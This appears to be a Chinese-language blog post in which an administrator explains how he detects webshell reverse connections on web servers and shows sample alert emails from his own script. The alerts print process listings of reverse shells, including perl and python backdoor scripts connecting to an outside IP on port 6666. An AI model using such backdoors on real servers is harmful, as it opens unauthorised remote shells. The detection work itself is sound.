有朋友說,檢測webshell不就可以了,問題是如果要大面積推,以我目前寫的檢測webshell的代碼,誤報還是有的,天天看報警郵件就會麻木了,所以想提高準(zhǔn)確率。另外,文件量大,更新頻繁,訪問量也大的,掃文件比較難推得下去。
也有朋友說,檢測網(wǎng)絡(luò)連接,同樣,網(wǎng)絡(luò)連接大,沒有專門的投入設(shè)備來做這個事情,還是比較難的。由于要花錢的緣故,你懂的。
另一種就是agent,抓敏感動作,比如一個nobody用戶起了個bash之類的。
其實最開始想的是用iptables直接限制反彈就可以了,然后記錄敏感l(wèi)og,分析log報警就可以發(fā)現(xiàn)webshell。上了以前寫的一個iptables腳本,限制output,做過nmap hping等比較詳細(xì)的測試,結(jié)果產(chǎn)生了我昨天在群里討論的問題,就是web的80主動ack別人的現(xiàn)象。iptables四種狀態(tài)個人感覺還是比較熟了的,所以覺得奇怪,一種可能是iptables狀態(tài)因為網(wǎng)絡(luò)包問題出現(xiàn)混亂,一種可能是有傳說中的ackbackdoor:)后面抓包回來分析,目前還沒有結(jié)論。
在與kevin1986的交流中,我們發(fā)現(xiàn)判斷父進程的時候發(fā)現(xiàn)有漏掉的,下面的c版的父進程是1,呵呵。當(dāng)然,和他交流讓我有了一個比較簡單的思路(感謝ing),于是寫了一個非常挫的腳本,測試了幾種情況,感覺還行,以下為報警郵件內(nèi)容:
下面這種是c的
found webshell back connect on fuckit
nobody 7032 1 0 12:57 ? 00:00:00 sh -i
下面這種是perl的
found webshell back connect on fuckit
nobody 7301 1 0 13:00 ? 00:00:00 lynx
nobody 7302 7301 0 13:00 ? 00:00:00 sh -c echo "`uname -a`";echo "`id`";/bin/sh
nobody 7307 7302 0 13:00 ? 00:00:00 /bin/sh
再來個傳perl后門上去執(zhí)行的
found webshell back connect on fuckit
nobody 8137 2257 0 13:16 ? 00:00:00 perl /usr/local/zeus/htdocs/www.xxxx.com/back.pl 121.9.227.xx 6666
nobody 8144 8137 0 13:16 ? 00:00:00 sh -i
再來個傳py后門上去執(zhí)行的
nobody 8203 1924 0 13:19 ? 00:00:00 python /usr/local/zeus/htdocs/www.xxxx.com/back.py 121.9.227.xx 6666
nobody 8204 8203 0 13:19 pts/1 00:00:00 /bin/sh
由于實在代碼挫,就不貼了,你們看以上內(nèi)容都懂的:)